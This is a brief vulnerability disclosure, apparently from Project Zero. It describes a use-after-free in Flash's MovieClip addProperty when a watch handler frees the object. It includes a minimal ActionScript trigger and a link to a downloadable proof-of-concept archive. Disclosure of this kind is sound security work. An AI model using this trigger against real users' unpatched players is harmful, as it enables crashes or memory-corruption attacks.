Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=801

There is a use-after-free in addProperty. If a property is added to a MovieClip object that already has a watch defined, and the watch deleted the MovieClip, it is used after it is freed.

A minimal PoC follows:

var t = this.createEmptyMovieClip( "t", 1);
t.watch("a", func);
t.addProperty("a", func, func);

function func(){
	
	trace("a");
	
	}

A sample fla and swf are attached.


Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39830.zip